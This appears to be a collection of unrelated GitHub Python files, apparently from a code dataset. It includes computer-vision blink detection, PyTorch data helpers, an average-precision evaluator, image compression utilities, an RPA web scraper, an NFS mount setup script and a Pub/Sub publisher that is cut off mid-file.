annotated_image.shape[0])))\n\n for point in left_eye:\n cv2.circle(annotated_image,\n (point[0], point[1]),\n radius=2,\n color=(0, 0, 255),\n thickness=-1)\n\n for point in right_eye:\n cv2.circle(annotated_image,\n (point[0], point[1]),\n radius=2,\n color=(0, 0, 255),\n thickness=-1)\n\n left_ear = calculate_ear(left_eye)\n right_ear = calculate_ear(right_eye)\n\n ear_list.append((left_ear + right_ear) / 2)\n\n return annotated_image\n\n\ndef plot_ear(ax, canvas):\n ax.cla()\n ax.plot(ear_list, color='b')\n canvas.draw()\n\n plt_img = np.frombuffer(canvas.tostring_rgb(), dtype='uint8')\n plt_img = plt_img.reshape(canvas.get_width_height()[::-1] + (3,))\n plt_img = cv2.cvtColor(plt_img, cv2.COLOR_RGB2BGR)\n\n return plt_img\n\n\nif __name__ == \"__main__\":\n\n base_options = python.BaseOptions(model_asset_path='../models/face_landmarker.task')\n options = vision.FaceLandmarkerOptions(base_options=base_options,\n output_face_blendshapes=True,\n output_facial_transformation_matrixes=True,\n num_faces=1)\n\n detector = vision.FaceLandmarker.create_from_options(options)\n\n camera = cv2.VideoCapture(0)\n color_green = (0, 255, 0)\n line_width = 3\n\n fig, ax = plt.subplots()\n canvas = plt.get_current_fig_manager().canvas\n\n ear_list = deque([], maxlen=40)\n\n cv2.namedWindow(\"cam\")\n cv2.moveWindow(\"cam\", 1000, 300)\n\n cv2.namedWindow(\"plot\")\n cv2.moveWindow(\"plot\", 300, 300)\n\n while True:\n\n img = landmark_detection(camera)\n plt_img = plot_ear(ax, canvas)\n\n cv2.imshow(\"plot\", plt_img)\n\n cv2.imshow(\"cam\", img)\n\n if cv2.waitKey(1) == 27:\n break # esc to quit\n\n cv2.destroyAllWindows()\n","repo_name":"shdaig/BlinkDetection","sub_path":"camera/mediapipe_eyes_landmark_test.py","file_name":"mediapipe_eyes_landmark_test.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42822890980","text":"import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.data as data\nfrom PIL import Image\nfrom torch.autograd import grad\nfrom torchvision import transforms\n \ndef clip_img(x):\n img_tmp = x.clone()[0]\n img_tmp[0] += 0.48501961\n img_tmp[1] += 0.45795686\n img_tmp[2] += 0.40760392\n img_tmp = torch.clamp(img_tmp, 0, 1)\n return [img_tmp.detach().cpu()]\n \ndef hist_transform(source_tensor, target_tensor):\n c, h, w = source_tensor.size()\n s_t = source_tensor.view(c, -1)\n t_t = target_tensor.view(c, -1)\n s_t_sorted, s_t_indices = torch.sort(s_t)\n t_t_sorted, t_t_indices = torch.sort(t_t)\n for i in range(c):\n s_t[i, s_t_indices[i]] = t_t_sorted[i]\n return s_t.view(c, h, w)\n\ndef init_weights(m):\n if type(m) == nn.Conv2d:\n nn.init.xavier_uniform_(m.weight)\n nn.init.constant_(m.bias, 0.01)\n elif type(m) == nn.Linear:\n nn.init.uniform_(m.weight, 0.0, 1.0)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0.01)\n\ndef reg_loss(img):\n reg_loss = torch.mean(torch.abs(img[:, :, :, :-1] - img[:, :, :, 1:]))\\\n + torch.mean(torch.abs(img[:, :, :-1, :] - img[:, :, 1:, :]))\n return reg_loss\n\ndef vgg_transform(x):\n r, g, b = torch.split(x, 1, 1)\n out = torch.cat((b, g, r), dim = 1)\n out = F.interpolate(out, size=(224, 224), mode='bilinear')\n out = out*255.\n return out\n\ndef get_predict_age(age_pb):\n predict_age_pb = F.softmax(age_pb)\n predict_age = torch.zeros(age_pb.size(0)).type_as(predict_age_pb)\n for i in range(age_pb.size(0)):\n for j in range(age_pb.size(1)):\n predict_age[i] += j*predict_age_pb[i][j]\n return predict_age\n\n# Define Custom Dataset\nclass MyDataSet(data.Dataset):\n def __init__(self, age_min, age_max, image_dir, label_dir, output_size=(512, 512), training_set=True, obscure_age=True):\n self.image_dir = image_dir\n self.transform = transforms.Normalize(mean=[0.48501961, 0.45795686, 0.40760392], std=[1, 1, 1])\n self.resize = transforms.Compose([\n transforms.Resize(output_size),\n transforms.ToTensor(),\n transforms.RandomHorizontalFlip()\n ])\n label = np.load(label_dir, allow_pickle=True)\n train_len = int(0.95*len(label))\n self.training_set = training_set\n self.obscure_age = obscure_age\n if training_set:\n label = label[:train_len]\n else:\n label = label[train_len:]\n a_mask = np.zeros(len(label), dtype=bool)\n for i in range(len(label)):\n if int(label[i, 1]) in range(age_min, age_max): a_mask[i] = True\n self.label = label[a_mask]\n self.length = len(self.label)\n \n def __len__(self):\n return self.length\n\n def __getitem__(self, index):\n img_name = os.path.join(self.image_dir, self.label[index][0])\n if self.training_set and self.obscure_age:\n age_val = int(self.label[index][1]) + np.random.randint(-1, 1)\n else:\n age_val = int(self.label[index][1])\n age = torch.tensor(age_val)\n image = Image.open(img_name)\n img = self.resize(image)\n if img.size(0) == 1:\n img = torch.cat((img, img, img), dim = 0)\n img = self.transform(img)\n return img, age\n","repo_name":"Bomin-Seo/Software_Capstone_Design","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43530406651","text":"n=int(input())\nk=list(map(int,input().split()))\nfor i in range(0,n):\n n=k[i]\n rev=0\n while n:\n r=n%10\n rev=rev*10+r\n n//=10\n print(rev,end=\" \") ","repo_name":"Bhanuum/codemind-python","sub_path":"Reverse_game.py","file_name":"Reverse_game.py","file_ext":"py","file_size_in_byte":171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33933285740","text":"import typing\r\n\r\nimport bge\r\n\r\nfrom .module import actuator, sensor\r\n\r\n\r\nclass Agent(bge.types.KX_GameObject):\r\n def __init_subclass__(\r\n cls,\r\n actuators: typing.Tuple[typing.Type[actuator.Actuator], ...],\r\n sensors: typing.Tuple[typing.Type[sensor.Sensor], ...],\r\n\r\n ):\r\n cls.Actuators = {actuator.__name__: actuator for actuator in actuators}\r\n cls.Sensors = {sensor.__name__: sensor for sensor in sensors}\r\n\r\n cls.actuators = None\r\n cls.sensors = None\r\n\r\n def __init__(self, owner: bge.types.KX_GameObject):\r\n self.actuators = {name: actuator(self) for name, actuator in self.Actuators.items()}\r\n self.sensors = {name: sensor(self) for name, sensor in self.Sensors.items()}\r\n","repo_name":"hyloop/Blend-RL","sub_path":"gym/loop/agent/_agent.py","file_name":"_agent.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42057069437","text":"import numpy as np\n\n\nclass ClassifierMatcher(object):\n def __call__(self, predict, gt):\n \"\"\"\n Input:\n predict: shape=(..., num_examples, predict_dim); num_examples, for detection, it is detection result,\n for classification, it is number of data in dataset.\n gt: shape=(..., num_gt, gt_dim)\n Output:\n has_matched: bool, shape=(..., num_examples)\n num_gt: shape=(..., )\n \"\"\"\n assert predict.shape[-1] == 1 and gt.shape[-1] == 1 and predict.shape[-2] == gt.shape[-2]\n has_matched = gt[..., 0] == 1\n num_gt = has_matched.sum(axis=-1)\n return has_matched, num_gt\n\n\nclass GeneralAP(object):\n \"\"\"\n 1. match predict with gt: IOU(predict, gt)>th for detection, no operation for classification\n 2. calculate tp and fp of each score threshold, tp => true positive => matched and positive (score > th)\n calculate recall and precision\n 3. calculate ap\n \"\"\"\n def __init__(self, matcher=ClassifierMatcher(), SAVE_RECALL_PRECISION_PATH=None):\n self.matcher = matcher\n self.SAVE_RECALL_PRECISION_PATH = SAVE_RECALL_PRECISION_PATH\n\n def __call__(self, predict, gt, score_idx=-1):\n \"\"\"\n input:\n predict: shape=(..., num_examples, predict_dim); num_examples, for detection, it is detection result,\n for classification, it is number of data in dataset.\n gt: shape=(..., num_gt, gt_dim)\n score_idx: int, predict[..., scores_idx] is scores of each prediction\n\n middle result:\n has_matched: bool, shape=(..., num_examples)\n output:\n ap: shape=(..., )\n \"\"\"\n has_matched, num_gt = self.matcher(predict, gt)\n predict_scores = predict[..., score_idx] # (..., num_examples)\n recall, precision, score_th = self.calculate_recall_precision(has_matched, predict_scores, num_gt) # (..., num_examples)\n print(recall, precision)\n return self.cal_AP_of_recall(recall, precision)\n\n def calculate_recall_precision(self, has_matched, predict_scores, num_gt):\n idx = np.argsort(-predict_scores, axis=-1)\n has_matched, predict_scores = has_matched[idx], predict_scores[idx] # (..., num_examples)\n\n TP = np.cumsum(has_matched.astype(np.float32), axis=-1) # (..., num_examples)\n recall = TP / (num_gt + 1e-12)\n precision = TP / np.arange(1, len(TP) + 1)\n\n # (..., num_examples)\n recall, precision, chosen_idx = self._chosen_max_precision_for_each_recall(recall, precision)\n\n if len(recall) == 0: # no det\n if num_gt == 0: # no gt\n recall, precision = np.array([1.]), np.array([1.])\n else: # have gt\n recall, precision = np.array([0]), np.array([0.])\n\n if self.SAVE_RECALL_PRECISION_PATH is not None:\n np.savez(self.SAVE_RECALL_PRECISION_PATH, recall=recall, precision=precision,\n dets_score=predict_scores[chosen_idx])\n return recall, precision, predict_scores[chosen_idx]\n\n def _chosen_max_precision_for_each_recall(self, recall, precision):\n \"\"\"\n for same recall (abs < 1e-10), may have multiple precision, chosen the best one as precision\n \"\"\"\n last_r = -1\n final_recall = []\n final_precison = []\n chosen_idx = []\n for i, (r, p) in enumerate(zip(recall, precision)):\n # for each recall choose the max precision\n if abs(last_r - r) < 1e-10:\n continue\n final_recall.append(r)\n final_precison.append(p)\n last_r = r\n chosen_idx.append(i)\n recall = np.array(final_recall)\n precision = np.array(final_precison)\n return recall, precision, chosen_idx\n\n @staticmethod\n def cal_AP_of_recall(recall, precision, num_points=None, DEBUG=False):\n assert len(recall) == len(precision), \"\"\n if num_points is None:\n recall_th = np.linspace(.0, 1.00, int(np.round((1.00 - .0) / .01) + 1), endpoint=True)\n elif isinstance(num_points, int):\n recall_th = np.linspace(.0, 1.00, np.round((1.00 - .0) * (num_points-1)) + 1, endpoint=True)\n inds = np.searchsorted(recall, recall_th, side='left')\n choose_precisions = [precision[pi] if pi < len(recall) else 0 for pi in inds]\n if DEBUG:\n print(\"choose_precisions\", choose_precisions)\n return np.sum(choose_precisions) / len(recall_th)\n\n\nif __name__ == \"__main__\":\n AP = GeneralAP()\n predict = np.array([0.5, 0.6, 0.7, 0.8, 0.9, 1.0])[..., None]\n gt = np.array([1, 0, 0, 1, 1, 0])[..., None]\n print(AP(predict, gt))\n","repo_name":"yinglang/huicv","sub_path":"evaluation/general_ap.py","file_name":"general_ap.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"20424180896","text":"# -*- coding: UTF-8 -*-\n\n'''\npip install pillow\n'''\nfrom PIL import Image\nimport os\n\n#获取图片文件的大小\ndef get_size(file):\n # 获取文件大小:KB\n size = os.path.getsize(file)\n return size / 1024\n\n#拼接输出文件地址\ndef get_outfile(infile, outfile):\n if outfile:\n return outfile\n # dir, suffix = os.path.splitext(infile)\n # outfile = '{}-out{}'.format(dir, suffix)\n filetup = os.path.split(infile)\n outfile = filetup[0] + '/out/' + filetup[1]\n return outfile\n\n#转移文件地址\ndef move_fileto_out(infile, outfile):\n if outfile:\n return outfile\n dir, suffix = os.path.splitext(infile)\n outfile = '{}-out{}'.format(dir, suffix)\n return outfile\n\n#压缩文件到指定大小\ndef compress_image(infile, outfile='', mb=150, step=10, quality=80):\n \"\"\"不改变图片尺寸压缩到指定大小\n :param infile: 压缩源文件\n :param outfile: 压缩文件保存地址\n :param mb: 压缩目标,KB\n :param step: 每次调整的压缩比率\n :param quality: 初始压缩比率\n :return: 压缩文件地址,压缩文件大小\n \"\"\"\n # print('infile', infile,get_size(infile))\n outfile = get_outfile(infile, outfile)\n o_size = get_size(infile)\n if o_size <= mb:\n im = Image.open(infile)\n im.save(outfile)\n return outfile, get_size(outfile)\n while o_size > mb:\n im = Image.open(infile)\n im.save(outfile, quality=quality)\n if quality - step < 0:\n break\n quality -= step\n o_size = get_size(outfile)\n return outfile, get_size(outfile)\n\n#转移文件\ndef compress_image2(infile, outfile='', mb=150, step=10, quality=80):\n outfile = move_fileto_out(infile, outfile)\n o_size = get_size(infile)\n if o_size <= mb:\n im = Image.open(infile)\n im.save(outfile)\n return outfile, get_size(outfile)\n while o_size > mb:\n im = Image.open(infile)\n im.save(outfile, quality=quality)\n if quality - step < 0:\n break\n quality -= step\n o_size = get_size(outfile)\n os.remove(infile)\n return outfile, get_size(outfile)\n\n#修改图片尺寸,如果同时有修改尺寸和大小的需要,可以先修改尺寸,再压缩大小\n\ndef resize_image(infile, outfile='', x_s=1376):\n \"\"\"修改图片尺寸\n :param infile: 图片源文件\n :param outfile: 重设尺寸文件保存地址\n :param x_s: 设置的宽度\n :return:\n \"\"\"\n im = Image.open(infile)\n x, y = im.size\n y_s = int(y * x_s / x)\n out = im.resize((x_s, y_s), Image.ANTIALIAS)\n outfile = get_outfile(infile, outfile)\n out.save(outfile)\n\n\n\n\n\"\"\"\n 先来说一下jpg图片和png图片的区别\n jpg格式:是有损图片压缩类型,可用最少的磁盘空间得到较好的图像质量\n png格式:不是压缩性,能保存透明等图\n \n pip install opencv-python\n pip install opencv-contrib-python\n https://ziyubiti.github.io/2016/06/15/imreaderror/\n pip install --upgrade opencv-python\n \n*将image = cv2.imread(image_path)替换为:image = cv2.imdecode(np.fromfile(image_path,dtype=np.uint8),-1)即可。\n同样,如果要保存图像为中文文件名,则将cv2.imwrite(output_image_path, image)替换为cv2.imencode('.jpg', image)[1].tofile(output_image_path)即可。\n\"\"\"\nfrom PIL import Image\nimport cv2 as cv\nimport numpy as np\nimport os\n\ndef PNG_JPG(PngPath):\n img = cv.imdecode(np.fromfile(PngPath,dtype=np.uint8),-1)\n #因为cv.imread(PngPath, 0) 返回两个值 ,imdecode 返回3个值,所以有问题\n wh = img.shape[::-1]\n # print(type(img.shape))\n # print(img.shape)\n # print(img.shape[::-1])\n infile = PngPath\n outfile = os.path.splitext(infile)[0] + \".jpg\"\n img = Image.open(infile)\n # print(int(wh[1] / 2), int(wh[2] / 2))\n # img.show()\n # img = img.resize((int(wh[1] / 2), int(wh[2] / 2)), Image.ANTIALIAS)\n #不调整大小\n img = img.resize((int(wh[1] ), int(wh[2] )), Image.ANTIALIAS)\n try:\n # print('len(img.split())',img.split())\n if len(img.split()) == 4:\n # prevent IOError: cannot write mode RGBA as BMP\n r, g, b, a = img.split()\n img = Image.merge(\"RGB\", (r, g, b))\n img.convert('RGB').save(outfile, quality=100)\n os.remove(infile)\n else:\n r, g, b = img.split()\n img = Image.merge(\"RGB\", (r, g, b))\n img.convert('RGB').save(outfile, quality=100)\n os.remove(infile)\n return outfile\n except Exception as e:\n print(\"PNG转换JPG 错误\", e)\n\nif __name__ == '__main__':\n # compress_image(r'C:\\Users\\Administrator\\Pictures\\席文楷图片\\马廷军.jpg')\n # resize_image(r'D:\\learn\\space.jpg')\n # PNG_JPG(r\"C:\\Users\\Administrator\\Desktop\\快捷方式\\电子书\\《杨显惠命运三部曲(套装共3本)(夹边沟记事_定西孤儿院_甘南纪事)》 - 杨显惠\\newfold\\out\\《杨显惠命运三部曲(套装共3本)(夹边沟记事_定西孤儿院_甘南纪事)》 - 杨显惠0-out.png\")\n PNG_JPG(r\"C:\\Users\\Administrator\\Desktop\\快捷方式\\111.png\")","repo_name":"qinfenxianyin/usetk","sub_path":"compressimg.py","file_name":"compressimg.py","file_ext":"py","file_size_in_byte":5155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35869284116","text":"import pandas as pd\nimport numpy as np\n\nlink1=input(\"Enter the path of csv file:\")\ndata = pd.read_csv(link1) \n# Preview the first 5 lines of the loaded data \n# data.head()\n\ndata.drop(['1'], axis = 1, inplace = True) \n# data.head()\n\n#data.to_csv('Extracted/test.csv',index=False)\n\n\nnpy=data.to_numpy()\n# type(npy)\nlink2=input(\"Enter the path to create npy file:\")\nnp.save(link2,npy)\n","repo_name":"tamim662/Pattern-Recognition-Lab","sub_path":"tamim/npy_converter.py","file_name":"npy_converter.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29079734720","text":"import DBconnector\n\n\n\n\ndef test_query_result():\n connector = DBconnector.Connector(':memory:', 'SELECT * FROM books')\n connector.connect_db()\n connector.cursor.execute('''CREATE TABLE books (\n id integer,\n mail text, \n name text, \n title text,\n return_at date)\n ''')\n connector.cursor.execute('''INSERT INTO books (id, mail, name, title, return_at) VALUES (1, 'hamerrek@test.email', 'Bartosz', 'Sukces to my', date())''')\n assert connector.query_result[0] == (1, 'hamerrek@test.email', 'Bartosz', 'Sukces to my', '2022-09-19')\n\n\n\n\n\n","repo_name":"krvcz/mail_sender","sub_path":"DBconnector_test.py","file_name":"DBconnector_test.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7855917239","text":"from RPA.Browser.Selenium import Selenium\nfrom RPA.Excel.Files import Files\nfrom RPA.PDF import PDF\nfrom RPA.FileSystem import FileSystem\nimport time\nimport os\nimport shutil\n\nclass IT_Dashboard:\n\n configFile = {}\n agenciesData = {}\n UIIListLink = []\n outputFolder = \"\"\n\n def __init__(self):\n self.browser = Selenium()\n self.excel = Files()\n self.pdf_File = PDF()\n self.file_System = FileSystem()\n\n #If you want to enter more global data, enter them in the excel and then get their value from here\n self.excel.open_workbook(os.getcwd() + \"/ConfigFile/ConfigFile.xlsx\")\n self.configFile[\"Agency\"] = self.excel.get_cell_value(1, 2, name=None)\n self.configFile[\"ExcelName\"] = self.excel.get_cell_value(2, 2, name=None)\n self.configFile[\"URL\"] = self.excel.get_cell_value(3, 2, name=None)\n self.configFile[\"OutputName\"] = self.excel.get_cell_value(4, 2, name=None)\n self.excel.close_workbook()\n \n self.outputFolder = os.getcwd() + \"/\" + self.configFile[\"OutputName\"] + \"/\"\n if not os.path.exists(self.outputFolder):\n os.mkdir(self.outputFolder) \n else: \n shutil.rmtree(self.outputFolder)\n os.mkdir(self.outputFolder)\n\n self.browser.set_download_directory(self.outputFolder) \n\n def get_Agencies_Cost(self):\n agencieList = []\n agencieCostValue = [] \n try:\n #Open browser\n self.browser.open_available_browser(self.configFile[\"URL\"])\n self.browser.maximize_browser_window()\n\n self.browser.click_element_if_visible(\"//a[@aria-controls='home-dive-in']\")\n #Get agencies name and cost\n self.browser.wait_until_element_is_visible(\"//span[@class='h4 w200']\")\n agencies = self.browser.find_elements(locator=\"//span[@class='h4 w200']\")\n\n for agencie in agencies:\n agencieList.append(agencie.text)\n agencieList = list(dict.fromkeys(agencieList))\n agencieList = list(filter(None, agencieList))\n\n cantidadAgencias = len(agencieList)\n agencieCost = self.browser.find_elements(locator=\"//span[@class=' h1 w900']\")\n del agencieCost[cantidadAgencias:]\n for agencie in agencieCost:\n agencieCostValue.append(agencie.text)\n self.agenciesData = {\"Agencies\": agencieList, \"Cost\": agencieCostValue}\n\n except:\n raise Exception(\"Error obtaining the name and cost of the agencies.\")\n\n def close_Browser(self):\n try:\n self.browser.close_browser()\n except:\n raise Exception(\"An error occurred while closing the browser.\")\n\n def write_Agencies_Cost(self):\n try: \n self.excel.create_workbook(self.outputFolder\n + self.configFile[\"ExcelName\"]).append_worksheet(\"Sheet\", self.agenciesData, True)\n self.excel.rename_worksheet(\"Sheet\", \"Agencies\")\n self.excel.save_workbook()\n except:\n raise Exception(\"Error while writing the name and cost of the agencies in excel.\")\n\n def get_Agency_Table(self):\n listaTemporal = []\n listaFinal = [[\"UII\", \"Bureau\", \"Investment Title\",\"Total FY2021 Spending ($M)\", \"Type\", \"CIO Rating\", \"# Of Projects\"]] \n try:\n #Select Agency\n self.browser.click_element_if_visible(\"(//span[@class='h4 w200'][normalize-space()='\" + self.configFile[\"Agency\"] + \"'])[1]\")\n self.browser.wait_until_element_is_visible(\"//select[@aria-controls='investments-table-object']\", 15,\"Error loading the page.\")\n self.browser.select_from_list_by_value(\"//select[@aria-controls='investments-table-object']\", \"-1\")\n self.browser.wait_until_element_is_visible(\"//a[@class='paginate_button next disabled']\", 15, \"Error loading table.\") \n #Get UII Links\n UIILink = self.browser.find_elements(locator=\"//td[@class='left sorting_2']//a\")\n\n for link in UIILink:\n self.UIIListLink.append((link.get_attribute(\"href\"), link.text)) \n #Get HTML Table\n UIIValue = self.browser.find_elements(locator=\"//tr[@role='row']//td[@class='left sorting_2']\")\n BureauValue = self.browser.find_elements(locator=\"//tr[@role='row']//td[@class=' left select-filter']\")\n InvestmentTitleValue = self.browser.find_elements(locator=\"//tr[@role='row']//td[@class=' left']\")\n TotalFYValue = self.browser.find_elements(locator=\"//tr[@role='row']//td[@class=' right']\")\n TypeValue = self.browser.find_elements(locator=\"//tr[@role='row']//td[@class=' left select-filter']\")\n CIOProjectValue = self.browser.find_elements(locator=\"//tr[@role='row']//td[@class=' center']\")\n\n cantidadItems = len(UIIValue)\n i = 0\n z = 1\n\n while i != cantidadItems:\n listaTemporal.append((UIIValue[i].text, BureauValue[i].text, InvestmentTitleValue[i].text,\n TotalFYValue[i].text, TypeValue[i].text, CIOProjectValue[z-1].text,\n CIOProjectValue[z].text))\n i += 1\n z += 2\n\n for item in listaTemporal:\n listaFinal.append(item)\n\n return listaFinal \n except:\n raise Exception(\"Error when extracting all the data from the table.\")\n\n def write_Agency_Table(self, tableAgency):\n try:\n self.excel.open_workbook(self.outputFolder + self.configFile[\"ExcelName\"])\n self.excel.create_worksheet(\"Individual Investment\", tableAgency, True)\n self.excel.save_workbook()\n self.excel.close_workbook()\n except:\n raise Exception(\"Error while writing the table of the agencies in excel.\")\n\n\n def download_PDFs(self):\n try:\n for url in self.UIIListLink:\n self.browser.go_to(url[0])\n self.browser.click_element_when_visible(\"//a[normalize-space()='Download Business Case PDF']\")\n try:\n self.browser.wait_until_page_does_not_contain_element(\"//img[@alt='Generating PDF']\",60,\"Can't download PDF.\")\n except:\n exist = self.file_System.does_file_exist(self.outputFolder + url[1] + \".pdf\")\n if exist == False:\n self.browser.go_to(url[0])\n self.browser.click_element_when_visible(\"//a[normalize-space()='Download Business Case PDF']\")\n try:\n self.browser.wait_until_page_does_not_contain_element(\"//img[@alt='Generating PDF']\",60,\"Can't download PDF.\")\n except:\n print(\"Error during PDF download for the link \" + url[0] + \".\")\n continue\n time.sleep(5)\n except:\n raise Exception(\"Error during PDF downloads.\") \n\n def find_Exist_Value(self, tableAgency):\n findValue = False\n try:\n pdf_Path = self.file_System.find_files(self.outputFolder + \"*.pdf\") \n for pdf in pdf_Path: \n text = self.pdf_File.get_text_from_pdf(pdf) \n pdfValues = self.Get_PDFValues(text)\n for i,lst in enumerate(tableAgency):\n for j,valor in enumerate(lst):\n if valor == pdfValues[1] and tableAgency[i][j+2] == pdfValues[0]:\n findValue = True \n if findValue:\n print(\"UIIValue = \" + pdfValues[1] + \" and NameInvestment = \" + pdfValues[0] + \". Exist = True\")\n else:\n print(\"UIIValue = \" + pdfValues[1] + \" and NameInvestment = \" + pdfValues[0] + \". Exist = False\")\n findValue = False\n \n except:\n raise Exception(\"Error when searching for the existence of UII and Inversion within the table\") \n\n def Get_PDFValues(self, pdfText):\n try:\n sectionA = pdfText[1]\n firstPosition = sectionA.find(\"Name of this Investment:\")\n secondPosition = sectionA.find(\"2. Unique Investment Identifier (UII):\")\n thirdPosition = sectionA.find(\"Section B: Investment Detail\")\n nameInvestment = sectionA[firstPosition+24:secondPosition]\n UIIValue = sectionA[secondPosition+38:thirdPosition] \n return nameInvestment.strip(), UIIValue.strip()\n except:\n raise Exception(\"Error extracting the value of the PDF.\")\n\n# if __name__ == \"__main__\":\n# itDashboard = IT_Dashboard()\n# try:\n# print(\"Initializing the process.\")\n# print(\"Obtaining data from the agencies.\")\n# itDashboard.get_Agencies_Cost()\n# print(\"Writing the information (name and cost) of the agencies in the excel.\")\n# itDashboard.write_Agencies_Cost()\n# print(\"Obtaining the table data of the selected agency from the ConfigFile.\")\n# agencyTable = itDashboard.get_Agency_Table()\n# print(\"Writing the data from the agency table select in excel.\")\n# itDashboard.write_Agency_Table(agencyTable)\n# print(\"Downloading the corresponding PDFs if available. \")\n# itDashboard.download_PDFs()\n# time.sleep(5)\n# print(\"Check that the data in the downloaded PDFs match the data extracted from the table.\")\n# itDashboard.find_Exist_Value(agencyTable)\n# print(\"The process has been successfully completed. \")\n# finally:\n# itDashboard.close_Browser() \n","repo_name":"fedestu/RPA_Challenge","sub_path":"ITDashboard.py","file_name":"ITDashboard.py","file_ext":"py","file_size_in_byte":9818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35178965403","text":"import os\n\nmf = open(\"master\",\"r\")\nmip = mf.read().strip()\nmf.close()\n\nos.system(\"apt update\")\nos.system(\"apt -y install nfs-common\")\n\nos.system(\"mkdir -p /root/shared\")\n#os.system(\"chmod 777 /root/shared\")\nprint(\"directory created\")\nos.system(\"mount {}:/root/shared /root/shared\".format(mip))\n","repo_name":"aterrero/k8s-setup","sub_path":"workernfsconfigurator.py","file_name":"workernfsconfigurator.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31860207651","text":"\ndef pig_latin(*words, suffix = \"ay\", single = False):\n ''' function to do latin stuff ...'''\n\n # split up any word in a list!\n sub_words= []\n for sub in words:\n sub_words.append(sub.split())\n\n # flatten all list!\n try:\n all_words = [element for sublist in sub_words for element in sublist]\n except TypeError:\n all_words = sub_words[:]\n\n # define the vowels\n vowel = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\n # loop over all words!\n for index, word in enumerate(all_words):\n if str(word)[0].lower() in vowel:\n all_words[index] += suffix\n else:\n newword = str(str(word)[1:] + str(word)[0]).capitalize()\n all_words[index] = newword + suffix\n\n if single == False:\n return all_words\n else:\n return \" \".join(all_words)\n\n\n### Test cases\ntest1_data = [\"Word\", \"Apple\"]\ntest1_config = {}\ntest2_data = [\"Python\", \"Functions\"]\ntest2_config = {\"suffix\": \"oy\"}\ntest3_data = [\"If the word starts with a vowel\", \"add the suffix to the word\"]\ntest3_config = {\"single\": True, \"suffix\": \"ep\"}\n\nprint(pig_latin(*test1_data, **test1_config))\nprint(pig_latin(*test2_data, **test2_config))\nprint(pig_latin(*test3_data, **test3_config))","repo_name":"peerhoffmanncode/Coding-DCI","sub_path":"Assigments/01 Collections/python-basics-functions-parameters-i-peerhoffmanncode/ph_task05.py","file_name":"ph_task05.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8125245412","text":"import time\nimport os\nimport sys\nimport json\nimport random\n\nfrom google.cloud import pubsub_v1\n\nfrom google.protobuf import json_format\nimport cfw_pb2\n\n#project_id = \"data-qe-da7e1252\"\nproject_id = \"ba-qe-da7e1252\"\n#topic_name = \"sk-firewall-pubsub\"\ntopic_name = sys.argv[2]\n\npublisher = pubsub_v1.PublisherClient()\ntopic_path = publisher.topic_path(project_id, topic_name)\n\ndef callback(message_future):\n # When timeout is unspecified, the exception method waits indefinitely.\n if message_future.exception(timeout=30):\n print('Publishing message on {} threw an Exception {}.'.format(\n topic_name, message_future.exception()))\n else:\n print(message_future.result())\n\ndef generateDict(field):\n randDic = {field : {\n\t\t\"AccuracyRadius\": random.randint(1,101),\n\t\t\"Latitude\": random.randint(1,101),\n\t\t\"Longitude\": random.randint(1,101),\n\t\t\"MetroCode\": random.randint(1,101),\n\t\t\"TimeZone\": \"IST\"\n\t}}\n\n return randDic\n\n\ndef main(): \n filepath = sys.argv[1]\n topic_name = sys.argv[2]\n if not os.path.isfile(filepath):\n print(\"File path {} does not exist. Exiting...\".format(filepath))\n sys.exit()\n count = 0\n with open(filepath) as fp:\n for line in fp:\n jsonString = json.loads(line)\n #print(type(jsonString))\n #jsonString.\n dest = generateDict(\"dst_ip_location\")\n src = generateDict(\"src_ip_location\")\n\n jsonString.update(dest)\n jsonString.update(src)\n\n jsonmsg = '{\"timestamp\": \"2019-05-21T14:24\", \"event_type\": \"flow-event\", \"action\": \"allow\", \"src_ip\": \"1.1.1.1\", \"dst_ip\": \"10.1.1.1\", \"nat_src_ip\": \"172.168.32.23\", \"nat_src_port\": 100, \"session_id\": 45454, \"src_port\": 104, \"dst_port\": 4063, \"protocol\": \"http\", \"app_id\": \"facebook\", \"rule_name\": \"facebook_rule\", \"user_name\": \"aniket\", \"repeat_count\": 9, \"bytes_sent\": 3836, \"bytes_rcvd\": 4625, \"packet_sent\": 32, \"packet_rcvd\": 6, \"start_time\": \"2019-05-21T14:24\", \"session_duration\": 41, \"tunnel_type\": \"ipsec\", \"tenant_id\": \"vw\", \"dst_ip_location\": {\"AccuracyRadius\": 90, \"Latitude\": 17, \"Longitude\": 97, \"MetroCode\": 83, \"TimeZone\": \"IST\"}, \"src_ip_location\": {\"AccuracyRadius\": 13, \"Latitude\": 44, \"Longitude\": 86, \"MetroCode\": 11, \"TimeZone\": \"IST\"}}'\n \n rawbytes = json_format.Parse(jsonmsg, cfw_pb2.cfe(), ignore_unknown_fields=False)\n\n print(rawbytes)\n #data = str(jsonString).encode('utf-8')\n # When you publish a message, the client returns a Future.\n message_future = publisher.publish(topic_path, data=rawbytes.SerializeToString())\n message_future.add_done_callback(callback)\n count = count+1\n 